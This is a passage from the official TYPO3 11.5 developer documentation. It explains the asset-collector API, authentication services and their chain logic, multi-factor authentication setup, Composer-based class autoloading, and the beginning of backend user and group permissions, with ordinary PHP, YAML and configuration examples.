TYPO3 Explained

Version

11.5

Language

en

Author

TYPO3 contributors

License

This document is published under the Open Publication License.

Rendered

Thu, 04 Sep 2025 14:09:34 +0000


This official TYPO3 documentation is the main document about the enterprise content management system TYPO3.


Table of Contents:

Introduction

System Overview

The TYPO3 system is multi-layered. The backend and frontend user interfaces sit on top of the application layer, which in turn sits on the infrastructure layer. The webserver, database and PHP in the infrastructure layer are prerequisites for running TYPO3.

TYPO3 Core primarily consists of the API (Application Programming Interface), which defines a framework for managing the project content. The base features of the API include content storage, user permissions and access, content editing, and file management. These features are delivered via system extensions that use the API. All of the content is stored in a database that TYPO3 then accesses via the API.

Extensions are clearly confined code additions, such as plugins, backend modules, application logic, skins, and third-party apps.

The most important thing to note is that everything is an extension in TYPO3 CMS. Even the most basic functions are packaged in a system extension called "core".

TYPO3 System layers diagram

Diagram showing the layers of the TYPO3 system

Application layer

The TYPO3 Core framework interacts with system and 3rd party extensions via the TYPO3 extension API.

The core and extensions interact with each other seamlessly and operate as a single, unified system.

User interface layer

The backend is the content-creation side. It is the administrative area where you manage content and configuration based on the extensions that are installed.

The frontend is the content-delivery side. Typically a website, it is the meeting place for templates, CSS, content, and logic from extensions, delivering your project to the world. The frontend doesn't have to be a website, it could be a native mobile application, a web application built in a frontend framework, or an API to interface with other systems.

A basic installation

To follow this document, it might help to have a totally trimmed down installation of TYPO3 with only the Core and the required system extensions at hand.

The installation process is covered in the Getting started Guide. You should perform the basic installation steps and not install any distribution. This will give you the "lightest" possible version of TYPO3.

In your basic installation, go to the Admin Tools > Extensions module. You will see all extensions installed by Composer are activated by default.

Screenshot of the backend showing the Extensions module

API A-Z

The TYPO3 APIs are first and foremost documented inside of the source scripts. It would be impossible to maintain documentation at more than one location given the fact that things change and sometimes fast. This chapter describes the most important elements of the API.

Contents:

Assets (CSS, JavaScript, Media)

Introduction

The TYPO3 component responsible for rendering the HTML and adding assets to a TYPO3 frontend or backend page is called \TYPO3\CMS\Core\Page\PageRenderer .

The PageRenderer collects all assets to be rendered, takes care of options such as concatenation or compression and finally generates the necessary tags.

There are multiple ways to add assets to the PageRenderer in TYPO3. For configuration options via TypoScript (usually used for the main theme files), see the TypoScript Reference. In extensions, both directly using the PageRenderer as well as using the more convenient AssetCollector is possible.

Asset collector

With the \TYPO3\CMS\Core\Page\AssetCollector class, CSS and JavaScript code (inline or external) can be added multiple times, but rendered only once in the output. The class may be used directly in PHP code or the assets can be added via the <f:asset.css> and <f:asset.script> ViewHelpers.

The priority flag (default: false) controls where the asset is inserted:

  • JavaScript will be output inside <head> if $priority == true, or at the bottom of the <body> tag if $priority == false.
  • CSS will always be output inside <head>, yet grouped by $priority.

The asset collector helps to work with content elements as components, effectively reducing the CSS to be loaded. It takes advantage of HTTP/2, which removes the necessity to concatenate all files in one file.

The asset collector class is implemented as a singleton ( \TYPO3\CMS\Core\SingletonInterface ). It replaces various other existing options in TypoScript and methods in PHP for inserting JavaScript and CSS code.

The asset collector also collects information about images on a page, which can be used in cached and non-cached components.

The API

class AssetCollector
Fully qualified name
\TYPO3\CMS\Core\Page\AssetCollector

The Asset Collector is responsible for keeping track of - everything within <script> tags: javascript files and inline javascript code - inline CSS and CSS files

The goal of the asset collector is to: - utilize a single "runtime-based" store for adding assets of certain kinds that are added to the output - allow to deal with assets from non-cacheable plugins and cacheable content in the Frontend - reduce the "power" and flexibility (I'd say it's a burden) of the "god class" PageRenderer. - reduce the burden of storing everything in PageRenderer

As a side-effect this allows to: - Add a single CSS snippet or CSS file per content block, but assure that the CSS is only added once to the output.

Note on the implementation: - We use a Singleton to make use of the AssetCollector throughout Frontend process (similar to PageRenderer). - Although this is not optimal, I don't see any other way to do so in the current code.

addJavaScript ( string $source, array $attributes, array $options)
param string $source

URI to JavaScript file (allows EXT: syntax)

param array $attributes

additional HTML <script> tag attributes

param array $options

['priority' => true] means rendering before other tags

returntype

self

addInlineJavaScript ( string $source, array $attributes, array $options)
param string $source

JavaScript code

param array $attributes

additional HTML <script> tag attributes

param array $options

['priority' => true] means rendering before other tags

returntype

self

addStyleSheet ( string $source, array $attributes, array $options)
param string $source

URI to stylesheet file (allows EXT: syntax)

param array $attributes

additional HTML <link> tag attributes

param array $options

['priority' => true] means rendering before other tags

returntype

self

addInlineStyleSheet ( string $source, array $attributes, array $options)
param string $source

stylesheet code

param array $attributes

additional HTML <link> tag attributes

param array $options

['priority' => true] means rendering before other tags

returntype

self

addMedia ( array $additionalInformation)
param array $additionalInformation

One dimensional hash map (array with non numerical keys) with scalar values

returntype

self

removeJavaScript ( string identifier)
param string $identifier

the identifier

returntype

self

removeInlineJavaScript ( string identifier)
param string $identifier

the identifier

returntype

self

removeStyleSheet ( string identifier)
param string $identifier

the identifier

returntype

self

removeInlineStyleSheet ( string identifier)
param string $identifier

the identifier

returntype

self

removeMedia ( string identifier)
param string $identifier

the identifier

returntype

self

getMedia ( )
returntype

array

getJavaScripts ( bool priority = NULL)
param bool $priority

the priority, default: NULL

returntype

array

getInlineJavaScripts ( bool priority = NULL)
param bool $priority

the priority, default: NULL

returntype

array

getStyleSheets ( bool priority = NULL)
param bool $priority

the priority, default: NULL

returntype

array

getInlineStyleSheets ( bool priority = NULL)
param bool $priority

the priority, default: NULL

returntype

array

hasJavaScript ( string identifier)
param string $identifier

the identifier

returntype

bool

hasInlineJavaScript ( string identifier)
param string $identifier

the identifier

returntype

bool

hasStyleSheet ( string identifier)
param string $identifier

the identifier

returntype

bool

hasInlineStyleSheet ( string identifier)
param string $identifier

the identifier

returntype

bool

hasMedia ( string fileName)
param string $fileName

the fileName

returntype

bool

Viewhelper

There are also two ViewHelpers, the f:asset.css and the f:asset.script ViewHelper which use the AssetCollector API.

Rendering order

Currently, CSS and JavaScript registered with the asset collector will be rendered after their page renderer counterparts. The order is:

  • <head>
  • page.includeJSLibs.forceOnTop
  • page.includeJSLibs
  • page.includeJS.forceOnTop
  • page.includeJS
  • AssetCollector::addJavaScript() with 'priority'
  • page.jsInline
  • AssetCollector::addInlineJavaScript() with 'priority'
  • </head>
  • page.includeJSFooterlibs.forceOnTop
  • page.includeJSFooterlibs
  • page.includeJSFooter.forceOnTop
  • page.includeJSFooter
  • AssetCollector::addJavaScript()
  • page.jsFooterInline
  • AssetCollector::addInlineJavaScript()

Examples

The AssetCollector can be injected in the constructor of a class via dependency injection and then used in methods:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Page\AssetCollector;

final class MyClass
{
    private AssetCollector $assetCollector;

    public function __construct(AssetCollector $assetCollector)
    {
        $this->assetCollector = $assetCollector;
    }

    public function doSomething()
    {
        // $this->assetCollector can now be used
        // see examples below
    }
}
Copied!

Add a JavaScript file to the collector with script attribute data-foo="bar":

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['data-foo' => 'bar']
);
Copied!

Add a JavaScript file to the collector with script attribute data-foo="bar" and a priority which means rendering before other script tags:

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['data-foo' => 'bar'],
    ['priority' => true]
);
Copied!

Add a JavaScript file to the collector with type="module" (by default, no type= is output for JavaScript):

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['type' => 'module']
);
Copied!

Check if a JavaScript file with the given identifier exists:

EXT:my_extension/Classes/MyClass.php
if ($this->assetCollector->hasJavaScript($identifier)) {
    // result: true - JavaScript with identifier $identifier exists
} else {
    // result: false - JavaScript with identifier $identifier does not exist
}
Copied!

Events

There are two events available that allow additional adjusting of assets:

Former methods to add assets

Using the page renderer

An instance of the PageRenderer class can be injected into the class via dependency injection:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Page\PageRenderer;

final class MyClass
{
    private PageRenderer $pageRenderer;

    public function __construct(PageRenderer $pageRenderer)
    {
        $this->pageRenderer = $pageRenderer;
    }

    public function doSomething()
    {
        // $this->pageRenderer can now be used
        // see examples below
    }
}
Copied!

The following methods can then be used:

  • $this->pageRenderer->addHeaderData($javaScriptCode)
  • $this->pageRenderer->addCssFile($file)
  • $this->pageRenderer->addCssInlineBlock($name, $cssCode)
  • $this->pageRenderer->addCssLibrary($file)
  • $this->pageRenderer->addJsFile($file)
  • $this->pageRenderer->addJsFooterFile($file)
  • $this->pageRenderer->addJsFooterLibrary($name, $file)
  • $this->pageRenderer->addJsFooterInlineCode($name, $javaScriptCode)
  • $this->pageRenderer->addJsInlineCode($name, $javaScriptCode)
  • $this->pageRenderer->addJsLibrary($name, $file)

Using the TypoScriptFrontendController

$GLOBALS['TSFE']->additionalHeaderData[$name] = $javaScriptCode;
Copied!

Authentication

The TYPO3 Core uses Services for the authentication process. This family of services (of type "auth") are the only Core usage that consumes the Services API.

The aim of this chapter is to describe the authentication services so that developers feel confident about writing their own.

Why Use Services?

Services provide the flexibility needed for such a complex process of authentication, where many methods may be desirable (single sign-on, IP-based authentication, third-party servers such as LDAP, etc.) depending on the context.

The ease with which such services can be developed is a strong point in favor of TYPO3, especially in corporate environments.

Being able to toy with priority and quality allows for precise fine-tuning of the authentication chain.

Alternative services are available in the TYPO3 Extension Repository. It is thus possible to find solutions for using LDAP as an authentication server, for example.

You can check which authentication services are installed using the System > Reports > Installed Services view:

All installed authentication services and their priority

The Authentication Process

The authentication process is not managed entirely by services. It is handled essentially by class \TYPO3\CMS\Core\Authentication\BackendUserAuthentication for the backend (BE) and by class \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication for the frontend (FE), which both inherit from class \TYPO3\CMS\Core\Authentication\AbstractUserAuthentication . The objects for these classes are available via $GLOBALS['BE_USER'] for BackendUserAuthentication and "frontend.user" request attribute for FrontendUserAuthentication These classes are called by the bootstrapping process. They manage the workflow of the authentication process. Services are used strictly to identify and validate users based on whatever form of credentials a given service relies on (by default, a username and a password).

The authentication process kicks in on every page request, be it in the FE or the BE. However if a valid session already exists, that session is kept. Strictly speaking, no authentication is performed in such a case.

The login data

There is a typical set of data that is transmitted to authentication service in order to enable them to do their work:

uname
This is the user name. This can be whatever makes sense for the available authentication services. For the default service, this will match data from the "username" column of the "be_users" or "fe_users" table for BE or FE authentication respectively.
uident
This is the password, possibly encrypted.
uident_text
This is the clear text value of the password. If the password is originally submitted in clear text, both "uident" and "uident_text" contain the same value.

Inside an authentication service, this data is available in $this->login.

The "auth" services API

The services of type "auth" are further divided into subtypes, which correspond to various steps in the authentication process. Most subtypes exist for both FE and BE and are differentiated accordingly.

To each subtype corresponds a part of the "auth" services public API. They are listed below in the order in which they are called during the authentication process.

processLoginDataBE, processLoginDataFE

This subtype performs preprocessing on the submitted login data.

The method to implement is processLoginData(). It receives as argument the login data and the password transmission strategy (which corresponds to the login security level, where only 'normal' can be used. It returns the boolean value true, when the login data has been successfully processed .

It may also return a numerical value equal to 200 or greater, which indicates that no further login data processing should take place (see The service chain).

In particular, this subtype is implemented by the TYPO3 Core AuthenticationService, which trims the given login data.

getUserFE, getUserBE
This subtype corresponds to the operation of searching in the database if the credentials that were given correspond to an existing user. The method to implement is getUser(). It is expected to return an array containing the user information or false if no user was found.
authUserFE, authUserBE
This subtype performs the actual authentication based on the provided credentials. The method to implement is authUser(). It receives the user information (as returned by getUser()) as an input and is expected to return a numerical value, which is described later.

The service chain

No matter what subtype, authentication services are always called in a chain. This means that all registered "auth" services will be called, in order of decreasing priority and quality.

However, for some subtypes, there are ways to stop the chain.

For "processLoginDataBE" and "processLoginDataFE" subtypes, the processLoginData() method may return a numerical value of 200 or more. In such a case no further services are called and login data is not further processed. This makes it possible for a service to perform a form of final transformation on the login data.

For "authUserFE" and "authUserBE" subtypes, the authUser() method may return different values:

  • a negative value or 0 (<=0) indicates that the authentication has definitely failed and that no other "auth" service should be called up.
  • a value larger than 0 and smaller than 100 indicates that the authentication was successful, but that further services should also perform their own authentication.
  • a value of 100 or more (>= 100) indicates that the user was not authenticated, this service is not responsible for the authentication and that further services should authenticate.
  • a value of 200 or more (>=200) indicates that the authentication was successful and that no further tries should be made by other services down the chain.
auth failed auth success no auth
continue   1..99 100..199
stop <= 0 >= 200  

For "getUserFE" and "getUserBE" subtypes, the logic is reversed. The service chain will stop as soon as one user is found.

Developing an authentication service

When developing your own "auth" services, the chances are high that you will want to implement only the "getUser*" and "authUser*" subtypes.

There are several public extensions providing such services, so you should be able to find examples to inspire and guide you. Anyway authentication services can be very different from one another, so it wouldn't make much sense to try and provide an example in this manual.

One important thing to know is that the TYPO3 authentication process needs to have users inside database records ("fe_users" or "be_users"). This means that if you interface with a third-party server, you will need to create records on the TYPO3 side. It is up to you to choose whether this process happens on the fly (during authentication) or if you want to create an import process (as a Scheduler task, for example) that will synchronize users between TYPO3 and the remote system.

For the authUser() method, you will want to take care about the return values. If your service should be the final authority for authentication, it should not only have a high priority, but also return values which stop the service chain (i.e. a negative value for failed authentication, 200 or more for a successful one). On the other hand, if your service is an alternative authentication, but should fall back on TYPO3 if unavailable, you will want to return 100 on failure, so that the default service can take over.

Things can get a bit hairy if you have a scenario with mixed sources, for example some users come from a third-party server but others exist only in TYPO3. In such a case, you want to make sure that your service returns definite authentication failures only for those users which depend on the remote system and let the default authentication proceed for "local" TYPO3 users.

Advanced Options

There are some special configuration options which can be used to modify the behaviour of the authentication process. Some impact the inner working of the services themselves, others influence when services are called.

It is possible to force TYPO3 to go through the authentication process for every request no matter any existing session. By setting the following local configuration either for the FE or the BE:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_alwaysFetchUser'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_alwaysAuthUser'] = true;

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysFetchUser'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysAuthUser'] = true;
Copied!

the authentication process will be fully run on each request. Both flags may not be necessary depending on what your service does exactly.

A more fine-grained approach allows for triggering the authentication process only when a valid session does not yet exist. The settings are:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_fetchUserIfNoSession'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_fetchUserIfNoSession'] = true;
Copied!

The authentication process can also be forced to go through all services for the "getUser*" subtype by setting:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_fetchAllUsers'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_fetchAllUsers'] = true;
Copied!

for BE or FE respectively. This will collect all possible users rather than stopping at the first one available.

Multi-Factor Authentication

Multi-factor authentication

Introduction

TYPO3 is capable of authentication via multiple factors, in short "multi-factor authentication" or "MFA". This is sometimes also referred to "2FA" as a 2-factor authentication process, where - in order to log in - the user needs

  1. "something to know" (= the password) and
  2. "something to own" (= an authenticator device, or an authenticator app on mobile phones or desktop devices).

Read more about the concepts of MFA here: https://en.wikipedia.org/wiki/Multi-factor_authentication

TYPO3 Login Screen for entering MFA code (TOTP)

TYPO3 ships with some built-in MFA providers by default. But more importantly, TYPO3 provides an API to allow extension authors to integrate their own MFA providers.

The API is designed in a way to allow providers to be used for TYPO3 backend authentication or frontend authentication with a multi-factor step in-between.

Managing MFA providers is currently possible via the User Settings module in the tab called Account security.

Manage your MFA providers in the User Settings module

The Account security tab displays the current state:

  • whether MFA can be configured
  • whether MFA is activated or
  • whether some MFA providers are locked

Included MFA providers

TYPO3 Core includes two MFA providers:

Time-based one-time password (TOTP)

TOTP is the most common MFA implementation. A QR code is scanned (or alternatively, a shared secret can be entered) to connect an authenticator app such as Google Authenticator, Microsoft Authenticator, 1Password, Authly, or others to the system and then synchronize a token, which changes every 30 seconds.

On each log-in, after successfully entering the password, the six-digit code shown by the authenticator app must be entered.

Recovery codes

This is a special provider which can only be activated, if at least one other provider is active. It is only meant as a fallback provider, in case the authentication credentials for the "main" provider(s) are lost. It is encouraged to activate this provider, and keep the codes at a safe place.

Select a MFA provider screen

Third-party MFA providers

Some third-party MFA providers are available:

Setting up MFA for a backend user

Each provider is displayed with its icon, the name and a short description in the MFA configuration module. In case a provider is active, this is indicated by a corresponding label, next to the provider's title. The same goes for a locked provider - an active provider, which can currently not be used since the provider-specific implementation detected some unusual behaviour, for example, too many false authentication attempts. Additionally, the configured default provider indicates this state with a "star" icon, next to the provider's title.

Each inactive provider contains a Setup button which opens the corresponding configuration view. This view can be different depending on the MFA provider.

MFA TOTP provider configuration screen

Each provider contains an Edit/Change button, which allows to adjust the provider's settings. This view allows, for example, to set a provider as the default (primary) provider, to be used on authentication.

In case the provider is locked, the Edit/Change button changes its button title to Unlock. This button can be used to unlock the provider. This, depending on the provider to unlock, may require further actions by the user.

The Deactivate button can be used to deactivate the provider. Depending on the provider, this will usually completely remove all provider-specific settings.

The "Authentication view" is displayed as soon as a user with at least one active provider has successfully passed the username and password mask.

As for the other views, it is up to the specific provider, used for the current multi-factor authentication attempt, what content is displayed in which view. If the user has further active providers, the view displays them as "Alternative providers" in the footer to allow the user to switch between all activated providers on every authentication attempt.

All providers need to define a locking functionality. In case of the TOTP and recovery code providers, this, for example, includes an attempts count. These providers are locked in case a wrong OTP was entered three times in a row. The count is automatically reset as soon as a correct OTP is entered or the user unlocks the provider in the backend.

All TYPO3 Core providers also feature the "Last used" and "Last updated" information which can be retrieved in the "Edit/Change" view.

By default, the field in the User Settings module is displayed for every backend user. It is possible to disable it for specific users via user TSconfig:

setup.fields.mfaProviders.disabled = 1
Copied!

Administration of user's MFA providers

If a user is not able to access the backend anymore, for example, because all of their active providers are locked, MFA needs to be disabled by an administrator for this specific user.

Administrators are able to manage the user's MFA providers in the corresponding user record. The new Multi-factor authentication field displays a list of active providers and a button to deactivate MFA for the user, or only a specific MFA provider.

The listing of backend users in the System > Backend Users module also displays for each user, whether MFA is enabled or currently locked. This allows an administrator to analyze the MFA usage of their users at a glance.

The System > Configuration admininistration module shows an overview of all currently registered providers in the installation. This is especially helpful to find out the exact provider identifier, needed for some user TSconfig options.

MFA providers in the configuration module

Configuration

Enforcing MFA for users

It seems reasonable to require MFA for specific users or user groups. This can be achieved with $GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa'] which allows four options:

0
Do not require multi-factor authentication (default)
1
Require multi-factor authentication for all users
2
Require multi-factor authentication only for non-admin users
3
Require multi-factor authentication only for admin users

To set this requirement only for a specific user or user group, a user TSconfig option auth.mfa.required <t3tsconfig:user-auth-mfa-required> is available. The user TSconfig option overrules the global configuration.

auth.mfa.required = 1
Copied!

Allowed provider

It is possible to only allow a subset of the available providers for some users or user groups.

A configuration option "Allowed multi-factor authentication providers" is available in the user groups record in the "Access List" tab.

There may be use cases in which a single provider should be disallowed for a specific user, which is configured to be allowed in one of the assigned user groups. Therefore, the user TSconfig option auth.mfa.disableProviders can be used. It overrules the configuration from the "Access List": if a provider is allowed in "Access List" but disallowed via user TSconfig, it will be disallowed for the user or user group the TSconfig applies to.

This does not affect the remaining allowed providers from the "Access List".

auth.mfa.disableProviders := addToList(totp)
Copied!

TYPO3 integration and API

To register a custom MFA provider, the provider class has to implement the EXT:core/Classes/Authentication/Mfa/MfaProviderInterface.php (GitHub), shipped via a third-party extension. The provider then has to be configured in the extension's Services.yaml or Services.php file with the mfa.provider tag.

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVender\MyExtension\Authentication\Mfa\MyProvider:
    tags:
      - name: mfa.provider
        identifier: 'my-provider'
        title: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.title'
        description: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.description'
        setupInstructions: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.setupInstructions'
        icon: 'tx-myextension-provider-icon'
Copied!

Read how to configure dependency injection in extensions.

This will register the provider MyProvider with the my-provider identifier. To change the position of your provider the before and after arguments can be useful. This can be needed, for example, if you like your provider to show up prior to any other provider in the MFA configuration module. The ordering is also taken into account in the authentication step while logging in. Note that the user-defined default provider will always take precedence.

If you do not want your provider to be selectable as a default provider, set the defaultProviderAllowed argument to false.

You can also completely deactivate existing providers with:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  TYPO3\CMS\Core\Authentication\Mfa\Provider\TotpProvider: ~
Copied!

The MfaProviderInterface contains a lot of methods to be implemented by the providers. This can be split up into state-providing ones, for example, isActive() or isLocked(), and functional ones, for example, activate() or update().

Their exact task is explained in the corresponding PHPDoc of the interface files and the Core MFA provider implementations.

All of these methods are receiving either the current PSR-7 request object, the \TYPO3\CMS\Core\Authentication\Mfa\MfaProviderPropertyManager or both. The MfaProviderPropertyManager can be used to retrieve and update the provider-specific properties and also contains the getUser() method, providing the current user object.

To store provider-specific data, the MFA API uses a new database field mfa, which can be freely used by the providers. The field contains a JSON-encoded array with the identifier of each provider as array key. Common properties of such provider array could be active or lastUsed. Since the information is stored in either the be_users or the fe_users table, the context is implicit. Same goes for the user the providers deal with. It is important to have such a generic field so providers are able to store arbitrary data, TYPO3 does not need to know about.

To retrieve and update the providers data, the already mentioned MfaProviderPropertyManager, which is automatically passed to all necessary provider methods, should be used. It is highly discouraged to directly access the mfa database field.

Autoloading

The class autoloader takes care of finding classes in TYPO3.

About makeInstance()

\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() is a generic way throughout Core and extensions to create objects. It takes care of singleton and XCLASS handling.

A developer can instantiate classes using makeInstance() - if dependency injection cannot be used. There are some situations where new is used over makeInstance(), effectively dropping especially the direct ability to XCLASS:

  • Data transfer objects are often created with new. A good example are PSR-14 events: The calling class creates a data transfer object that is hand over to the consumer. These DTOs must never be changed by an extension, since they are a contract both caller and consumer must stick to. They are thus created using new to prevent XCLASSing.
  • Structures with a dedicated API that allows own implementations on a configuration level sometimes do not use makeInstance: Many Core constructs come with an API to allow custom classes by dedicated configuration. Those implement a factory pattern to deal with this. An example is the PSR-15 middleware stack.

Autoloading classes

There is one autoloader used, the one of Composer. No matter if you run TYPO3 in Composer mode or not (legacy mode), TYPO3 uses the Composer autoloader to resolve all class file locations.

Loading classes with Composer mode

In Composer mode, the autoloader checks for (classmap and PSR-4) autoloading information inside your extension's composer.json. If you do not provide any information, the autoloader falls back to the classmap autoloading like in non-Composer mode.

Troubleshooting

Dump the class loading information manually via composer dumpautoload and check that the autoload information is updated. Typically you would check vendor/composer/ to hold files like autoload_classmap.php and autoload_psr4.php, etc.

Example:

$ tree vendor/composer
.
├── ClassLoader.php
├── LICENSE
├── autoload_classmap.php
├── autoload_files.php
├── autoload_namespaces.php
├── autoload_psr4.php
├── autoload_real.php
├── autoload_static.php
├── include_paths.php
└── installed.json
Copied!

Loading classes without Composer mode

This means, you did not install TYPO3 via a require statement inside your composer.json. It's a regular old-school install where the TYPO3 source and the symlinks (typo3/index.php) are setup manually.

In this case, every time you install an extension, the autoloader scans the whole extension directory for classes. No matter if they follow any convention at all. There is just one rule: put each class into its own file. This also means that there can only be a single class per file.

You can also explicitly configure autoloading in the ext_emconf.php.

The generated typo3conf/autoload_classmap.php is a large array with a mapping of classnames to their location on the disk:

typo3conf/autoload_classmap.php
<?php

// autoload_classmap.php @generated by TYPO3

$typo3InstallDir = \TYPO3\CMS\Core\Core\Environment::getPublicPath();

return array(
    'Schnitzler\\Templavoila\\Clipboard\\Clipboard' => $typo3InstallDir . 'typo3conf/ext/templavoila/Classes/Clipboard/Clipboard.php',
    'tx_templavoila_pi1' => $typo3InstallDir . 'typo3conf/ext/templavoila/Compatibility/class.tx_templavoila_pi1.php',
    ...
);
Copied!

This method is failsafe unless the autoload information cannot be written. In this case, check the Install Tool for warnings and make sure that typo3temp/ is writable.

Troubleshooting:

If your classes cannot be found, try the following approaches.

  • Dump the class loading information manually with the following command:

    php typo3/sysext/core/bin/typo3 dumpautoload
    Copied!
  • If that command itself fails, please (manually) uninstall the extension and try reinstalling it (via the Extension Manager).
  • If you are still not lucky, the issue is definitely on your side and you should double check the write permissions on typo3temp.

Best practices

  • If you didn't do so before, have a look at the PSR-4 standard. It defines very good rules for naming classes and the files they reside in. Really, read the specs and start using PSR-4 in your projects. It's unlikely that there will be any other more advanced standard in the near future in the PHP world. PSR-4 is the way to go and you should embrace it.
  • Even if you do not use Composer mode and the class mapping of the autoloader allows you to use whatever you want, stick to PSR-4. It's not only a very good standard to find classes, but it will also help organizing your code.
  • PSR-4 is all about namespaces. No matter if you like namespaces or not, use them. Namespaces exist since PHP 5.3, so you will be able to use them in any modern TYPO3 project due to the minimum PHP requirements of TYPO3 itself.

Further reading

ComposerClassLoader

Integrating Composer class loader into TYPO3

In our efforts to make TYPO3 faster and closer oriented to common PHP standard systems, we looked into the integration of the class loader that is used by all composer-based projects. We consider this functionality a crucial feature for the future of TYPO3 on the base level, but also as a dramatic increase of the overall performance of every request inside TYPO3.

Understanding the TYPO3 class loader

The TYPO3 class loader is instantiated within the TYPO3 Bootstrap at a very early point. It does a lot of logic (checking ext_autoload.php, ClassAliasMap.php), and caches this logic away on a per-class basis by default in typo3temp/Cache/ to store all information for a class. This information contains: The full path to the class, the namespaced class name itself and possible class aliases.

The latter part looks into all extensions and checks the Migrations/ClassAliasMap.php file for any possible “legacy class” that could be used (e.g. t3lib_extmgm). This way, all extensions still using non-namespaced class that are shipped with the TYPO3 core are still made available.

The information is stored in a SimpleFileBackend via the built-in Caching Framework by default. At the early stage of the bootstrap process some classes need to be included manually as the whole TYPO3 core engine has not been loaded yet. This is done for all PHP classes in use, which may result in 500+ files inside typo3temp/Cache which are created one by one on an initial request with no caches set up. This is done by intention on a per-file-basis during runtime as a cache file is only created if a PHP class is requested to be instantiated. On a second hit, the caching framework does not create the cache files, but fetches one by one for each class used in the request via a separate file_get_contents() call.

When debugging TYPO3 on an initial request, there are a lot of file_get_contents() and file_put_contents() calls to store and fetch this information. This is quite a lot of overhead for loading PHP classes. Even without a lot of class aliases (e.g. in CMS7) this overhead of writing / storing the file caches still exists. Some overhead however is already taken care, especially if a class is loaded which is shipped with the core and no class alias is used.

This is all built in a way so a lot of backwards-compatibility can be ensured.

Understanding the Composer class loader

Compared to the TYPO3 class loader, the composer class loader concept differs in the following major points:

Caching on build stage

When setting up a project, like a TYPO3 project, Composer checks the main composer.json of a project and builds a static file with all PSR-4 prefixes defined in that json file. Unless in a development environment or when updating the source, this file does not need to be rebuilt as the PHP classes of the loaded packages won’t change in a regular instance. This way all classes available inside TYPO3 are always available to the class loader.

Using PSR-4 compatible prefix-based resolving

Instead of looking up every single class and caching the information away, composer works on a “prefix”-based resolution. As an example, the Composer class loader only needs to know that all PHP classes starting with \TYPO3\CMS\Core are located within EXT:core/Classes. The rest is done by a simple resolution to include the necessary PHP class files. This means that the information to be cached away is only the list of available namespace prefixes.

The definition of these prefixes is set inside the composer.json file of each package or distribution / project.

Autoloading developer-specific data differently

The composer class loader checks the composer.json for a development installation differently, including for example unit and functional tests separately to the rest of the installation. The static map with all namespaces are thus different when using Composer with composer install or composer install --no-dev.

Integration Approach

The Composer class loader is injected inside the Bootstrap process of TYPO3 and registered before the TYPO3 class loader. This means that a lookup on a class name is first checked via the Composer logic, and if none found, the regular TYPO3 class loader takes over.

The support for class aliases is quite important for TYPO3, but is not supported by Composer by default. There is a separate Composer package created by Helmut Hummel (available on GitHub) which serves as a facade to the Composer class loader and creates not just the information for the prefixes but also the available class aliases for a class and loads them as well.

The necessary information about the “which namespaced classes can be found at which place” is created before every release and shipped inside the typo3_src directory. The generated class information is available under typo3/contrib/vendor/composer/. For TYPO3 installations that are set up with composer, the TYPO3 bootstrap checks Packages/Libraries/autoload.php first which can be shipped with any composer-based project and include many more PHP Composer packages than just TYPO3 extensions. To ensure maximum backwards-compatibility, the option to load from Packages/Library/autoload.php instead of the shipped "required-core-packages-only" needs to be activated via an environment variable called TYPO3_COMPOSER_AUTOLOAD which needs to be set on server-side level.

If the composer-based logic is not used in some legacy cases (for extensions etc), the usual TYPO3 class loader comes into play and does the same logic as before.

Project setup and extension considerations

If you already use Composer to set up your project, and the composer.json and their extensions ship a valid composer.json, the Composer class loader generates the valid PSR-4 cache file with all prefixes on installation and update. Running "composer update" will automatically re-generate the PSR-4 cache file.

The Composer class loader also supports PSR-0 and static inclusion of files, which can be used as well.

As a base line: Any regular installation will see a proper speed improvement after the update to the Composer class loader.

Backend APIs

The following APIs are of interest if you want to configure or extend the functionalities of the backend.

Contents:

Access control in the backend (users and groups)

Users and groups

TYPO3 features an access control system based on users and groups.

Users

Each user of the backend must be represented with a single record in the table "be_users". This record contains the username and password, other meta data and some permissions settings.

Part of the editing form for user "simple_editor" of the Introduction Package

The above screenshot shows a part of the editing form for the backend user "simple_editor" from the Introduction Package. If you have an Introduction Package available, you can check further properties of that user. It is part of the "Simple editors" group, has a name, an email address and its default language for the backend is English.

It is possible to assign rights directly to a user, but it is much better done using groups. Furthermore groups offer far more options.

Groups

Each user can also be a member of one or more groups (from the "be_groups" table) and each group can include sub-groups. Groups contain the main permission settings you can set for a user. Many users can be a member of the same group and thus share permissions.

When a user is a member of many groups (including sub-groups) then the permission settings are added together so that the more groups a user is a member of, the more access is granted to him.

Part of the editing form for group "Simple editors" of the Introduction Package

